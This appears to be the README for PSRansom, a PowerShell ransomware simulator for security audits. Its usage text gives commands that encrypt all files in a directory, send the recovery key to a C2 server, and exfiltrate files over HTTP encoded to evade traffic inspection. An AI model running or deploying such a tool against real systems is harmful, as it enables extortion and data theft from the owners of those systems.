PSRansom is a PowerShell Ransomware Simulator with C2 Server capabilities. This tool helps you simulate encryption process of a generic ransomware in any system on any system with PowerShell installed on it. Thanks to the integrated C2 server, you can exfiltrate files and receive client information via HTTP.

All communication between the two elements is encrypted or encoded so as to be undetected by traffic inspection mechanisms, although at no time is HTTPS used at any time.

Requirements

• PowerShell 4.0 or greater

Download

It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:

git clone https://github.com/JoelGMSec/PSRansom

Usage

.\PSRansom -h  ____  ____  ____ |  _ \/ ___||  _ \ __ _ _ __  ___  ___  _ __ ___ | |_) \___ \| |_) / _' | '_ \/ __|/ _ \| '_ ' _ \ |  __/ ___) |  _ < (_| | | | \__ \ (_) | | | | | | |_|   |____/|_| \_\__,_|_| |_|___/\___/|_| |_| |_|  ----------------- by @JoelGMSec ---------------- Info:  This tool helps you simulate encryption process of a        generic ransomware in PowerShell with C2 capabilities Usage: .\RansomShell.ps1 -e Directory -s C2Server -p C2Port          Encrypt all files & sends recovery key to C2Server          Use -x to exfiltrate and decrypt files on C2Server        .\RansomShell.ps1 -d Directory -k RecoveryKey          Decrypt all files with recovery key string Warning: All info will be sent to the C2Server without any encryption          You need previously generated recovery key to retrieve files

The detailed guide of use can be found at the following link:

https://darkbyte.net/psransom-simulando-un-ransomware-generico-con-powershell

License

This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.

Credits and Acknowledgments

This tool has been created and designed from scratch by Joel Gámez Molina // @JoelGMSec

Contact

This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.

For more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.